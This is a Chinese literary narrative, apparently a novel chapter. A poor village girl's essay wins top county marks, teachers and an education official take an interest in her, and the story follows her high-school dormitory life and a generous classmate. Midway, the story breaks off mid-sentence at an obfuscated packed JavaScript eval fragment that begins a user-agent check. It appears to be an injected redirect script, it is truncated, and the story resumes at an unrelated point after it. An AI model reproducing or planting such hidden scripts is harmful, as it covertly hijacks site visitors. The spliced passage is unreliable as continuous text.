“嗯。” “回家吧!” “哦!” 凡敏大娘赶紧说:“大姐回来了?搁这一块儿吃饭吧。” 我妈妈说:“她不搁这吃。” 我也赶紧说:“不了,大娘。”我就顺着河沿回了家。 我家住在河沿边上,我妈喜欢种树,我家院子里种了很多果木:向日葵、桃树、石榴……我妈妈栽树也不十分辛苦,只需要把那些捡来的桃核、杏核扔到天井里,再轻轻埋上一层土。于是,在老天的充足的雨水的浇灌下,那棵屋檐底下的石榴出芽了,那蒜架子旁的桃花出苗儿了。它们不挑不拣,不知道自己生在了门可罗雀的苦寒之家,它们自顾自地“蹭蹭”地生长。它们长得比我们还高,比我的手腕儿还粗,它们不嫌弃这寒怆的小院儿,它们开朗、明媚地众生平等不求回报地给我们开了满枝头的花朵,它们给这半亩地的茅庐涂染了粉粉的春色。 春燕大姐的丈夫来接她了。 “来!咱拍个合影儿!”春燕大姐穿着白色的婚纱,招呼着。她爹、她娘,她大哥她二弟,她嫂子、兄弟媳妇,统统聚拢了过去。 “哎哟,我的肚子太大了!挡上!挡上!”春燕大姐笑着跟前排她坐着的娘说。 春燕大姐热热闹闹地出嫁了。 晚上,凡敏大娘跟凡敏大爷说:“豆秃子家生了个孙女,取名叫成成。”凡敏大爷觉得此事不妥。因为这让他想起了自己的爹。 “怎么能叫成成的?”凡敏大爷说,“俺爹的小名儿就叫成儿。” “那回你去跟豆秃子说说?”凡敏大娘说。 “回我得去跟豆秃子说说。”凡敏大爷说。 晚上,凡敏大爷专门儿到豆秃子家里去,跟豆秃子说:“大哥,俺爹的小名儿不是叫成儿嘛,恁家孙女子也叫成儿,你看......你能不能给恁孙女子换个名儿?”凡敏原以为豆秃子一家能通情达理哩。 谁承想豆秃子一家并不买账:“想让俺孙女子改名儿?那可不行!这个名儿可是俺儿媳妇亲口起的,别的名儿,她看不中!” 凡敏大爷前去洽谈,并不融洽,闷声闷气地回到了家。 “我去跟豆秃子说了,豆秃子不同意改名儿。”凡敏大爷跟凡敏大娘说。 凡敏大娘说:“这好办!他家重咱家的名儿。等以后咱儿媳妇生了孩子,咱也重他家的名儿。咱也不重豆秃子他爹的。冤有头,债有主。咱就重豆秃子的,就叫豆豆。” 不久,凡敏大爷家的儿媳妇喜得千金,小名儿就叫豆豆。 “豆秃子”一家不服气。 “爸爸,凡敏的孙女子重咱的名儿了!回让俺哥接着生,生了,咱再重!”豆秃子的闺女说。 豆秃子家不服气,还要继续生,继续重。凡敏大爷家也不相让。可是那时候计划生育管控还很严格。怎么办呢? 这天,凡敏大娘跟她儿媳妇吵架了。婆媳俩儿吵地很厉害,半个凡庄都知道了。儿媳妇追着凡敏大娘骂,凡敏大娘忙着躲闪,脚下打滑,碰到了树橛子上,把半个脸都给划伤了。儿媳妇跟婆婆吵完闹完,收拾收拾离家出走了。凡敏大娘捂着被树橛子划伤的半个脸,拉也拉不住。 “撒手!你撒开!”凡敏大娘的儿媳妇抓住凡敏大娘的手一甩!凡敏大娘的手又被甩伤了。儿媳妇成功脱逃。 这以后,凡敏大娘天天捂着伤脸,逢人就说:“被儿媳妇打了!婆媳闹架啦!儿媳妇跑了!” 人人都知道凡敏大娘被儿媳妇打了,有的觉得可怜,有的觉得可笑。 豆秃子的闺女说:“俺爹!凡敏儿媳妇跑了!哈哈!” 豆秃子说:“哼!人家是做戏给旁人看的!凡敏家什么时候惹过儿媳妇生气!连春燕回来都巴结着她嫂子,给她侄女买东买西。” 豆秃子闺女不解:“那她家这是闹的哪一出?” “哪一出?人家明着是闹家包子离家出走,暗着是去躲着生孩子去了。不信,你看吧!不出半年,凡敏家又得添小孩儿了!” 豆秃子的闺女说:“啊?那咱家也得赶紧催催俺嫂子,她家要是再重咱家的名儿,咱接着跟她重!” 这天,豆秃子去河沿边挑水浇菜。他把洋铁桶歪在水里盛满了水,正准备担上肩膀挑走。忽听脚底下有个小孩儿喊“救命!”豆秃子瞅瞅,四下无人,哪儿来的小孩儿?他再一看,就在他正前方有一个小土坑,土坑有几尺深。小孩儿的声音正是从那土坑里冒出来的。豆秃子往下探头一看,是豆豆!凡敏家的孙女子豆豆正在里头哭呢!豆秃子望着豆豆,小豆豆也望着他。 “豆豆?”豆秃子说。豆秃子正在犹豫着要不要去拉小豆豆一把。 小豆豆眼泪汪汪地说:“豆秃子爷爷,你救救我啊!”豆秃子一听,就来了火。他心一横,把那扁担一挑,转头就走了。 小豆豆在坑里哭了一会儿,她试着往上爬。猛一使劲儿,就好像被谁给托了一把似的,一下子就爬上了土坑。 小豆豆自己走回了家。她家里,她的爷爷奶奶正围着庄儿找她呢。 凡敏大娘看见了小豆豆,一把把她抱在怀里:“我的儿啊,你这是去哪了啊,可把恁奶奶急死了啊!” “我掉进后河沿那个坑里了。”小豆豆说。 “那你不知道喊吗!我的乖孩儿!” “我喊了,坑可深了,没有人听到。” “豆秃子家靠地近,他不是刚从河里挑了水过去的吗?他看见你了吗?” “看见了。我喊他救命。他不理我就走了。” “这个豆秃子,心真毒啊。毒地一根毛儿都不剩!”凡敏大娘说,“这以后,咱跟豆秃子家永世不相来往!” 中考后的暑假,我们几个在天井里剥蒜。 我看我弟弟光着脚丫子好玩,就说:“鸿雁赤着脚丫子,我也赤脚丫子!” 我妹妹说:“我也赤脚丫子!” 我说:“赤脚丫子确实轻松,怪不得鸿雁爱赤脚丫子。” 我妈妈说:“恁别赤着脚了,地上有火,烫人。回上火,长疖子。” 我说:“就光一会儿,没事儿的。俺小的时候长疖子,那是因为赤脚丫子时间太长了。现在都不长疖子了。” 我妹妹说:“什么是疖子?” 我说:“疖子就是脓疮。你没长过吧?我小时候一到秋天就长疖子。就是因为夏天赤脚丫子。疖子都是长在腰上,腚上,等疖子熟了,里头都是脓,跟糖球恁么大。得找个大洋针挑破了头儿,把脓给挤出来。” 我们正站在天井里,大门外突然来了一辆小汽车。我的语文老师方老师跟朱校长到我家来了。那时候,村里还很少见到小汽车,而我家门口儿停着一辆小汽车,还是学校里来的小汽车儿。这在凡庄还是很光荣的。 我赶紧跑过去跟他们打招呼:“校长,老师,恁来了?” 我妈妈也赶紧跟老师说:“老师恁来了?老师恁坐。” 我说:“老师,恁怎么来俺家了?” 语文老师说:“宋大省的中考作文,得了七十六分。县里的教研员想见见她。” 校长说:“俺今天就是专门来接她的,让她跟俺一块儿去。” 我妈妈说:“行,太麻烦老师了。” 我说:“满分不是七十五嘛?我怎么得了七十六的?” 语文老师说:“教研员看了你的作文,觉得文采太好了,又给加了一分。” 校长说:“题目是什么来?” 语文老师说:“《星的遐想》。宋大省平时作文就很好。” 我说:“都是俺语文老师教地好。俺语文老师经常表扬我的作文。” 既然到了我家,我家的情况就不用说了,一目了然,尽收眼底,一个字,穷。是什么样儿的穷呢,这样说吧,是十里八村打着灯笼难找的,不是万里挑一就是千里挑一的穷。你就尽可以想象吧,想象五六十年代的农村的穷人家是什么样儿的,我家大概就是那样儿的。我不敢说七十年代,因为七十年代的很多家庭已经远远超过了我家了。 光这些还不够,因为五六十年代的穷人家也许比我家还要整洁。比如我喜欢的那些朴实而又整洁的床铺、充满农家风味儿的院落,还有门口儿挂着的两串黄黄的玉米或是红红的辣椒子。对不起,我家不是这样儿的。我家不是你想象中的那样有味道的农村。我家嘛,你要加上这样的形容词,破壁残垣,破东烂西,破破烂烂。理想中的传统的农家院落会让你找到乡土感归宿感,而我家的寒碜足可以让你找到匮乏感、饥饿感、自卑感和逃离感。 对,在我家,你始终是饥饿的是寒冷的,是没有任何幸福感和满足感的。因为我家的屋里院子里所有的布局没有一丝一毫的美感和暖感,我妈妈操持的饭菜也没有一丝一毫的美感和口感。不仅如此,经过我妈妈打造的饭食让我觉得都有些让人难以下咽。 比如,用未经淘洗的小麦磨成的粗面烧出来的糊糊,是又黑又牙碜的。我妈妈是永远吃不出来的,既然她吃不出来,那么她是不会承认的,可是我每次都能吃得出来,那就只能怪我嘴叼舌头怪。要命的是,这样的糊糊我妈妈一直烧,我们一直要喝,就这样硬生生喝了十几载。如今,我们一个个终于离开了那个家,我妈妈还是坚持不懈自得其乐地喝着。 为什么不能喝白面糊糊呢,据我妈妈说,粗面的糊糊更省粮食,因为它比白面多了几斤麸皮。是的,不能让家人好好地吃白面,一定要吃难以下咽的粗面,这就是我妈妈的风格。对了,据我妈妈所说,吃粗面还比吃白面健康呢,这是一种新兴的科学的生活方式,人家阔的人家早就开始吃粗粮了。 比如,吃丝瓜是不能打皮的,打了皮那就是骄奢淫逸那就是没了天理,对,丝瓜不能打皮,一定要把翠绿的丝瓜带皮切连皮炒,炒地黑黑的,连汤都是黑的,这样吃起来才符合我妈妈想要的忆苦思甜的风格。 比如,我家没有一个端端正正地吃饭的桌子。我家吃饭的桌子,都是永久搭建或是临时搭建的。永久搭建的是屋里的一个钢丝床,钢丝床上放着一块木板。在天井里吃饭需要临时搭建。在天井里吃饭的时候,先在天井里选一个地方,大概是院子的中央,然后甩上一个不知道是哪里捡来的坐床子,再在坐床子上甩上一张不知道从哪里捡来的木板。得,这就是我们的饭桌了。我很好奇,我妈妈是如何能够做到,把一个家打造地全方位地这么不像样儿的?她又是如何做到自得其乐乐在其中的? 据我妈妈的自我辩解说,那是因为,凡庄不是我们的地盘,我们住的这个地方迟早是姓凡的。所以她不想打理,不想给姓凡的留下一丝一毫的美地。这个理由听起来似乎很有道理。可是,我家的筷子也是不像样儿的。我妈妈的筷子也是用了很多年的老筷子了。那样的尖头儿不是削出来的,而是经过长年累月地使用自然磨出来的。我家连一双像样儿的筷子都没有。连筷子都是破破烂烂不成体统的。 我妈妈总是有千种理由,万种借口。她是不知道,这么多年,她是硬生生地把贫穷和自卑深深地植入了我们的血液里了。有人要参观一下比较富裕的院落吗?对不起,我家不可以,绝对不可以。有人要参观比较破败的院落吗?或是想知道五十年代的院落是什么样儿的吗?我家可以,绝对可以。绝对是典型中的典型,可以中的可以。到了我家,那感觉,就像一个衣冠整齐的人被脱去了整齐的外衣,不能说是赤裸吧,是衣不蔽体地,站在刺骨的寒风里。是的,是头脑发蒙地站在冷到骨子里的寒风里。 我的语文老师和校长在我家天井里的板凳上坐下,我妈妈跟他们说着话。 “听你的口音好像不是此地人?”校长问我妈妈。 “俺是山东人,俺丈夫三十六岁就死了。俺投奔小鲁村的亲戚来这庄上的。”我妈妈说。 “一个妇道人家带着三个孩子,能把孩子培养成这样,不容易。”校长说。 “宋大省的文采太好了,教研员看了拍案叫绝!当场给打了七十六分。满分是七十五。”语文老师说。 “谢谢老师的培养。都是老师教地好。小孩儿生在这样的家庭,我也是没有办法。她要是生在人家好家庭家里,她学习会比现在还好。”我妈妈说。 “已经不错了。宋大省中考成绩是多少?”校长问。 “六百二十五。进青羊山高中没问题。正取生。”语文老师说。 “回我给教研员说说,看看这么好的苗子能进县一中吧。”校长说。 我其实一开始是想报考县一中的,跟那帮子被班主任看好的可以冲击县一中的男女学霸比,我不服气。可是,我的班主任凡通老师诚挚地把我给劝阻了,他怕我考不上,白白浪费一个名额。是的,我的班主任也是姓凡的,也是腿短脖子粗外加外八字,据说这种长相还是一种福相呢。他因为这矮胖黝黑的身材,被我的女同学给叫做“饭桶”“油桶”。当着他的面儿,她们当然不敢这么叫。她们只敢背着他叫,她们见了他的小小的儿子的时候,悄悄地叫他“小油桶”。 语文老师跟我妈妈说:“教研员想看看宋大省,你让她收拾一下,跟俺走吧。” 我妈妈跟我说:“行,你赶紧去换身衣裳,去吧。” 我说:“哦。” 我来到我家屋里间,把我的衣裳袋子拿出来,倒到铺上,自己坐在床上,想着穿哪件衣裳。门外,我妈妈坐着跟老师、校长说话。 “宋大省是棵好苗子,你要好好培养。不能把小孩儿的前途给耽误喽。”老师说。 校长说:“恁家庭条件这样,宋大省还能学成这样,真是太难得了。” “行,老师。”我妈妈说,“就是俺家太穷了。” “不管在哪上,我去跟校长说说,叫他给减免减免学费。”校长说。 我妈妈说:“太感谢老师了!谢谢老师。恁在初中培养了她,还管她上高中的事儿。” “宋大省是从俺的学校出来的嘛。这么好的学生,俺也有这个责任去问她的事儿。”校长说。 我在屋里挑来挑去,穿了脱,脱了穿,试来试去,也不知道到底穿哪件衣裳,我也确实没有什么好衣裳。都是人家给的,我到底穿哪一件呢? 我妈妈在天井里坐着跟老师说话儿。她不耐烦地探身儿到屋里催我:“大丫头啊,你换好衣裳了吗?” 我说:“没有。” 我妈妈说:“你快点儿。恁老师等着你的。” 我说:“哦。你别催我,你越催我,我越发急。”我知道我妈妈跟我的老师一块儿尴尬地坐着,没话儿找话儿地说着,已经要撑不下去了。可是,我又有什么办法呢?我要去见垂青于我的老师了,我的作文全县第一,我有这么好的文采,我得穿得好看一点儿啊。可是,我找不到一件合身儿的衣裳穿。我总得穿地衣衫整齐一点吧。 我继续试着那几件衣裳。到底穿哪件合适呢?穿那件红黑格子的裤裙儿,配那件蛋黄色的短袖吧,可是那衬得我脸色有点黄了。穿裤裙儿去见老师也显得不稳重啊。而且,我那时候因为青春期经常含胸低头,有些驼背,俗称“内肩子”,又剪了一头短发,又是胖胖的五短身材。那件短袖不知道是谁家给的,没有领子。穿在身上,更显得腿短脖子粗了,不好看。不仅不好看,还显得老气,像个老娘们儿。 我还是穿我妈妈给我的她的那件白色的长袖褂子吧,尽管也是土土的,可是那是我的我家的现存的一件最好看的衣裳了。这样显得人白净一些,斯文秀气一些。裤子穿什么呢?又没有合适的裤子穿了。我有一条人家给的冬天穿的裤子,玉白色的,可以笼毛裤穿的,那就穿它吧,只好穿它了。好在天气还不是太热。 我换上衣裳出了门儿,我的老师、校长带着我出发了。 教研员在一个空的教室里接待了我们。教研员老师有五十多岁,满头花白的头发,大大的双眼皮的眼,一张有些疲惫地白皙的脸。他穿着蓝色的衬衫,斯文儒雅,是我想象中的样子。 “这是刘老师。”语文老师跟我说。 “刘老师。”我说。 教研员边拉着桌子边说:“来,你们过来坐吧。宋大省,你也坐。” 显然地,教研员对我很关照很尊敬。我知道,我虽然跟教研员老师素未谋面,但是我那篇作文是他首肯的,他对我的文采有充分的认可。这在古代,等于是他亲点的我的状元。他是我的恩师。他是真正欣赏我的人。在某种程度上来说,我跟他之间是有着某些心灵上的共鸣的。此刻,他在我心里,是比我的语文老师和校长更亲的人了。 “全家赤着脚丫子!”我的初中校长对教研员说,“你没去她家看,她家可穷了。” 教研员没有想到,这个文笔如此流畅、思维如此欢快的小姑娘,她的家竟然是这个样儿的。 “我原以为这样的学生,可能是离异家庭,没想到,是这样的。”教研员老师说。他说话慢条斯理地。 “她妈妈一人带着三个孩子,太不容易了。”校长说。 “光看她的那篇作文,谁能想到这个小孩儿生在这样的家庭啊。这也说明宋大省心态好,乐观。坚强。宋大省能遇到这样的妈妈,能遇到这么多帮助她的老师,也是不幸中的大幸。”教研员说。我知道他是在鼓励我。 “恁在外头也要照顾她的面子,宋大省自尊心强的。”教研员说。 “知道。你看看,能把她送到县一中去上吗?”校长说。 “宋大省到那里,怕是跟城里的小孩儿在生活啊各方面差距更大,她家里负担更重。反而对她心理上不利。还是在青羊山上吧。青羊山高中也蛮好的。全县第二。”教研员说。 我说:“我也不太想到县里。俺家太穷,我的成绩也不是特别好。我怕跟人家差距太大。” “我跟宋大省单独谈谈。恁两个人在一边儿歇歇。”教研员说。 “行,俺在一边儿等着。”校长说着,跟方老师一起坐到了教室边儿上的空桌子那里。 教研员走到教室另一边儿,去挪了两张桌子,跟我说:“宋大省,你过来坐。”他说着用手边的卫生纸擦了擦脸上的汗。 “你别用卫生纸擦脸,里头都是漂白粉。”校长说。 “啊?我都是用卫生纸擦脸。我好出汗。”教研员说。 我坐过去了。我和教研员老师之间隔着两张桌子。 教研员老师坐下来,跟我说:“宋大省,你当时写那篇作文的时候,是怎么想的?” 我说:“我就自己想着写的,写着写着就有了。” 教研员问我:“你平时都喜欢干什么?都有哪些爱好啊?” 我说:“我平时没什么爱好,就是喜欢看书,写作文。哦,我还喜欢唱歌。我每逢放学回家的时候,我就一路骑着自行车唱着歌回家。” 教研员说:“宋大省,你那篇作文里的阿成哥是怎么回事儿?现实中真有这样一个人吗?还是你虚构的?” 我说:“那是我听来的歌词,我就随手儿写上了。有一句歌词是‘阿成哥哥的小白船,白过了天上的白云朵,白过了天上的白牡丹’。” 教研员温和地看着我,他对旁边的校长说:“宋大省爱看书,你回头找几本书给她看看。趁着暑假多看几本书。宋大省自己家里没买吧?四大名著看过吗?” 我说:“四大名著听说过,没看过。” 教研员说:“你看看,人家城里的小孩儿早就看四大名著了。好好地小孩儿就这样给耽误了。” 校长说:“行!没问题!宋大省,回你有空去学校图书馆借书去。想借几本借几本。” “这小孩儿缺营养。”教研员看着我说。我知道他是欣赏我,充分的地欣赏我,欣赏我的文采。可是很对不起,我,这样的我,让老师失望了,也不对,这样的我面对欣赏我的老师,让我自己失望了。 我知道他是看我的发质不好。我说:“我也不要什么营养。我的头发从小就黄。俺爷爷说的,黄头发,几根根儿,吃一辈子好东西儿。” 校长说:“宋大省肯定缺营养,能不缺营养吗?她那样儿的家庭环境,能吃饱饭就不错了。” 教研员跟校长说:“回头恁带着她去青羊山高中给校长说说,让她多照顾照顾宋大省。” “行行!”校长说。 快到傍晚的时候,我跟着语文老师和校长到了青羊山高中。 “宋大省中考作文全县第一。以后恁多照顾照顾她。”我的初中学校的校长跟我的高中校长说。 “行行!是俺的学生了,恁都为她操心,俺肯定得照顾。”女校长说。她是我高中的刘校长。那年,她才三十几岁,她穿着一件淡绿色的短袖,旁边的花圃里,一朵白里透红的玫瑰花开地正艳。衬托着旁边的女校长的脸也跟花儿一样好看。 晚上,回到家。我妈妈站在屋门口儿笑着跟我说:“回来了?” 我说:“嗯。” 我妈妈说:“你看恁老师对你好吧。还专门儿来接你。” 我说:“嗯,那个教研员老师我见了,他对我可关心了。” 我妈妈说:“你以后要好好上学,好报答恁这些老师。” 我说:“嗯。” 我妈妈说:“人家都是咱的贵人。人家算命占课的都说,命大的人自有贵人相助。” 我说:“嗯。” 我妈妈问我说:“大省儿,你好好回想回想,你考试写作文的时候有没有迷困啊?” 我说:“没有啊。” 我妈妈又问:“你再仔细回想回想,你写那篇作文的时候没觉得困吗?” 我说:“没有。我当时脑子可清醒了。我那几天住在青羊山高中学生宿舍里,夜里睡得可好了,一点儿都不迷困。” 我妈妈说:“那篇作文儿真是你自己写的?” 我说:“是我自己写的?” 我妈妈说:“你是怎么写的?” 我说:“我就想一句写一句,边想边写,写着写着想法就多了。就这样一段段写下来的。” 我妈妈说:“哦。我还以为是你睡着了,神仙点化来。” 我说:“哪有神仙帮我写啊。” 我妈妈说:“人家以前有这样儿的事儿。一个人考状元的时候,一个字儿就缺一点儿,一个蚂蚁就趴在上头,正好补了缺的那一点儿。判卷子的老师想把那蚂蚁赶走的,怎么赶都赶不走。后来那判卷子的老师一猜省儿,哦,他这是祖宗老毛干了好事儿了,连蚂蚁都来帮他了。人家那老师就没给他扣分儿。” 2.米米 我靠了那篇作文,以正取生的身份被当时全县第二的高中录取,在当时还算是很好的成绩。多亏了那篇作文。语文试卷总分是一百五,我作文得了七十六,我的语文总分才考了一百二十七。也就是说,我前面的语文题目得分并不高。不管怎样,凡庄的人是知道我成绩好了,是个大学苗子,也都高看我一眼。我的高中同学还都是看重学习的,我那时成绩不算差,文笔还不错,有的善良的女生或者出于同情或者出于尊敬,也对我不错。我的老师对我也很好,我的处境比我弟弟要好的多。 只是,我也是不太能跟同学们玩到一块儿的。我跟她们吃不到一块儿,玩不到一块儿。人家逛街我不逛,人家去县里玩儿我也不去。人家说起什么好玩的好吃的,我因为不知道所以也不掺和。况且,我这个人也有些古怪,不知道是出于自卑,还是出于由自卑而引发的孤傲,我就是不爱跟她们成群结队地上厕所。她们就去跟班主任戚亮说。 大概像是猪八戒被一群蜘蛛精给架了起来,一时头重脚轻头脑发热晕晕乎乎身不由己了。班主任居然跑来找我谈话。身形干瘪面皮蜡黄油亮的班主任把我叫到教室外头的围栏边上,我们扶着围栏站定了。 班主任张开那张没牙的老头儿似的发瘪的嘴巴问我:“她们说你不太合群,不爱跟她们玩儿是吗?”班主任皱着起漆黑的眉毛看着我,我也看着他。他的面孔像是被谁猛踹了一脚似的,陷了下去。这使他的鼻子显得越发笔挺了。他像是个外国人,《匹诺曹》那本童话书里的外国人。 我说:“是的。我不想跟她们玩儿,我也跟她们玩不到一块儿去,我就想闷头学习。” 班主任皱着他又浓又黑的眉毛说:“你为什么不想跟她们一块儿玩儿呢?” 我说:“我觉得没有必要非要一起上厕所,我可以自己上厕所,顶多跟一个人一起去,就够了。” 班主任继续说:“跟她们一块儿上厕所,成群结队,热热闹闹地,不是很好吗?” 我说:“我不觉得一块儿上厕所有什么好处啊。一块儿上厕所,确实热闹,可是到了厕所里,开闸放炮,臭死人了。生物老师说,臭气里不只是空气,还有分子。我不想让她们脏腑里排出来的分子跑到我的身上。” 班主任好像也有一点儿觉得我言之有理了,他说:“你觉得跟她们一块儿很无聊是吗?” “是的。”我说。 听了我的话,这个呆子也就不再说什么了。他本来就不该就这个莫名其妙的问题来向我兴师问罪的,他居然来问我这样低级的问题,我觉得他也挺无聊的。 那时候,我们的班长是杨将,一个高高大大的男生,他终日为班级奔忙,不辞辛苦,常常忙得两道汗水在绛红色的脸颊上流淌。 有一天,他跟我说:“你手里还有好点的作文吗?我一个同学在他们学校《校报》作编辑,你要是有好的作文,就给我,我交给她,她可以帮你推荐,发表在《校园文学》上。” 我们学校当时也没有校报,我连“编辑”是干什么的都不知道。我除了上学,就是帮家里干活,除了书上的些许知识,对外界几乎一无所知。我正好有一篇期末考试的作文,得了六十分满分,我就拿给他,题目是《昨夜星辰昨夜风》,杨将帮我拿了去。 班里要统一订校服,每人六十块钱,我正在为这项钱款发愁,订也不是,不订也不是,正在左右为难。 杨将,来到我的桌前,低下他高大的身板儿跟我说:“班里要订校服,学校说,贫困生可以免费。我把你的名字报上去了,你就不要交钱了。”杨将小声说着,两道汗水从他绛红色的脸颊上流下来,他好像比我还要羞愧还要紧张。 我虽然习惯了自己是贫困生,但是被班长提起,还是觉得脸红。我只好稳住心神,强作镇定,说:“好!”心里又是轻松,又是难为情。 我家里穷,每逢宿舍失窃,我都吓得要死!怕人家污蔑我。人心难测,如果她们有人借此机会打击我,故意把钱放在我的铺头底下,还真是说不清。 有一阵子,班里有个女生失窃了,那个女生常在班主任跟前行走,是班主任的股肱之臣,班主任为此殚精竭虑,天天致力于为她调查此事。他一会儿把她叫出去,听她娓娓道来说明原委,一会儿又把其他女生叫出去打探底细。教室的门开开合合,那个失窃的女生像个女王一样进进出出来来去去。我坐在教室里如坐针毡昏天暗地,也不知道失窃的那个女生会跟班主任怎么说,也不知道同宿舍的她们又会跟班主任怎么说。只见那失窃的女生开门出去,又开门进来,风光无限。而我,心态不好,家里最穷。不是賊,却比賊还要恐慌熬煎。 “谁要是偷了我的钱,我把她的爪子给弄断!”那个失窃的女生恨恨地说,“那是俺哥给我的钱。” “就是的。你说是谁偷的啊。太下贱了!”宿舍里的女生攥着一截煎饼说。而我,我说不出话来。因为在我眼里,那个失窃的女王的威压已经足够了,我即使为她摇旗呐喊,我这明显的人穷气短的一嗓子也是微不足道的。况且,在女王的心目中,像我这样的穷人家的穷学生,在别人失窃的时候,我很可能名列她的嫌疑犯名单当中。何况,我跟她的关系又一向并不融通。那她的种种机枪扫射似的冷酷无情说不定也是针对我的成分了。失窃的人成了居高临下的女王,芸芸众生都成了怀疑对象。这是一个排除异己的好时机和妙方。我又何必为一个可能卯足了劲儿来射杀我的猎手发声儿呢。 在种种的压力下,我越发说不出话来了。是的,每每在同宿舍女生失窃的日子里,在那些水落石出的黎明之前的煎熬的日子里,我都不是很擅长为光荣的失主发声的。越是不发声,越是显得我有嫌疑,我越觉得失主有可能在怀疑我阴阳我,我就越是张不开嘴,发不了声。我也希望我能失窃,可是没有。我也不会无中生有,我也更不会虚张声势。我的性格利来如此。我不会有些女生所擅长的那些。我做惯了边缘人,我不擅长号令,我也不擅长鼓动。即使是我想一呼百应,我也没有那个影响力和号召力。我不是女王。 “我怎么那么紧张啊,你不会怀疑是我吧。我没偷你的钱啊,可是我怎么那么紧张呢。”小巧白皙的米米手里拿着一截煎饼,站在失窃的女生面前说。 “你别紧张,怎么可能是你呢。”失窃的女生温和地说,“你家境那么好,你哪会干这事儿。” “可是我真的很紧张,我的脸都红了吧。”脸蛋儿有些像小苹果似的米米摸了摸她左边的脸蛋儿,有些焦灼地说。我看着她,她的脸蛋儿并没有像她想象的那样绯红。她的脸还是白皙的干净的可爱的小巧的。她紧张,全在于她的内心,我一点儿都不会怀疑她,失窃的女生也不会怀疑她。是的,她家境好,品性好,跟同学们处地也好。她断不会偷人家的财务的。倒是我,家境不好,跟失窃的女生,跟一大波女生处地都不好。性格又别别棱棱的。这个时候,我很有可能被推进舆论的漩涡,像一只任人宰割的兔子一样,被和我不睦的失窃的女王以及她的盟友给架在她们怒火的炮烙上炙烤。是的,这就是我的害怕所在。我不怕洞察一切的神明,我怕险恶的深不可测的人的心境。 我不吭声儿,在巨大的高压下,我说不出话来。我看着她。用一波默默的眼神儿回应着她说的话。是的。我也是如此。我也是很紧张。我害怕,我比贼都害怕。我怕失窃的女生怀疑我,栽赃我,陷害我。让我有口难辩。有冤无处申,有苦无处说。 那些日子,我真觉得那个失窃的女生就是女王,我的生杀予夺,都由她一手掌握。而我的班主任,就是那狄仁杰,一时围绕着她,成了断案的高手。直到案子调查清楚了,是一个打扮很时髦的女生娟娟,我的心才落了地。可是,我仍然觉得很受伤,仿佛我参与了被调查的整个过程,我的灵魂被她们打击批斗了一遍,像一朵花儿,我的内心打了蔫儿。而那个娟娟,很快被大家孤立起来。她们刻意地回避她,不理她。而我,我倒是一点都不鄙视她。我还是正常跟她说话。我不仅不觉得她讨厌,我反而觉得她格外温暖。 有一回,我正在宿舍,听到同宿舍的小鹿说:“我的钱丢了!”小鹿,是一个高高瘦瘦的女生,说话像东北人,她家境不错,长得也不错。说这话的时候,她正踩在下铺的床沿上,朝着上铺她的床上翻找。 “啊?你的钱丢了?丢了多少?”米米抬着头朝着上铺问她。米米是小鹿的好朋友,她长得小巧玲珑,白白净净,像个可爱的小兔子。 我的心又开始隐隐发慌了。她奶奶的。真倒霉。怎么又有人丢钱了呢?她会不会赖到我头上呢?我又该忍受那些有苦说不出的煎熬了。 正在我惴惴不安的时候。有一天晚上,宿舍里光线有些暗沉的时候,米米特意找到我,悄悄跟我说:“小鹿让我跟你说,你不要害怕,我们不会怀疑你的。我们首先就把你排除了。” 我一下子特别感动,不知道她们家境这么好,还居然对我评价这么高。 在绝对的信赖和认可面前,我跟她们也是轻松的坦白的愉快的。 是的,人之幸与不幸,全在于你遇到的是什么样的人。有的人,你遇到了,她会让你幸福,有的人,你遇到了,她会让你痛苦。因为有的人是人,有的人是鬼。你有时候会遇到人,有时候会遇到鬼。你遇到了人,那是你的幸运,你遇到了鬼,那你就自认倒霉。当然,这世上没有无形的鬼,有的是披着人皮的比鬼还可怕的人。 这以后,我跟米米和小鹿她们相处得也很好。 米米对我很不错。有一回,我看见她床头挂着一件黄黄的丝绵的羽绒服。 我无意中说了一句:“你这个羽绒服颜色黄黄的,真好看!” 她说:“你喜欢?给你了。” “真的?”我惊讶地说。 “真的。”米米坐在她的床头说。那时候是冬天,她扎着高高的马尾,穿着一件绿色的羽绒服,和一条蓝色的牛仔裤。她为人厚道,没什么坏心眼儿,我就真地开心地接受了。 “那我穿上了?我穿着去教室了!”我美滋滋地说。 “去吧。”米米说。 我穿着那件黄色的羽绒服走在路上。我有新衣裳啦!那件丝绵的小黄袄宽宽大大的,像一件袍子一样罩在我的身上。可是我觉得美极了,幸福极了。小黄袄里头的一层丝绵薄薄的,并不厚实,我在里头穿一件橙色的毛衣,就一点也不觉得冷了。 一天傍晚,我吃完饭回教室,米米在后头追上我,跟我说:“宝宝,我经常跟俺娘说你!俺娘可想你了!”我觉得这话有些突然,她娘从来没见过我,怎么会想我呢,应该是她经常跟她娘提起我吧。不管怎样,米米这样说,我还是感觉很温暖。 我来了大姨妈,从来都是用卫生纸。 有一回,我正在叠卫生纸,米米看到了。她跟我说:“来,我给你几个卫生巾用用。” 我说:“不要了,不要了。我用不惯。我觉得卫生巾会漏,不如卫生纸吸水。” “可以两个一起用,来,我教你!”米米坐在她的铺沿儿上,把两个卫生巾放在一起,我在一边看着。那是我平生第一次用卫生巾,也是第一次同时用两个卫生巾。 米米个子不高,浑身白白嫩嫩的,小小的鼻子和眼睛,像个还没有长开的小女孩儿。她姐姐和姐夫来学校看她的时候,我跟她一起去。 她的姐姐很疼她,她看到了她姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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米米对我妈妈的教学非常没有必要。我家里炒菜只炒一个菜,平时也没有喝汤的习惯。她即使教给了我妈妈,我妈妈哪里有心思听呢。即使我妈妈耐心地听了,她哪里有心思烧呢?我家即使烧汤,也不会烧那样的汤啊。我家要是烧汤,那就肯定是烧满满当当的一大锅,可以一人一碗的捞着饱腹的啊。再说,我家那个黄泥巴糊的灶台是烧紫菜汤的地方吗?这就等于教一个人用瓦罐喝红酒,用树枝做的筷子吃牛排。我家没那环境,没那套家伙什儿,没那氛围,也没那种优雅高贵的人。没必要,完全没必要,真的没必要。 有一回,我体贴我妈妈在外头干活儿辛苦,就开始炒菜。我把土豆刮刮皮,炒了一盘子土豆丝,又把丝瓜刮刮皮,炒了一盘子丝瓜。 我妈妈刚一到家,看到了我炒的两个菜,非但没有表扬,还非常生气。 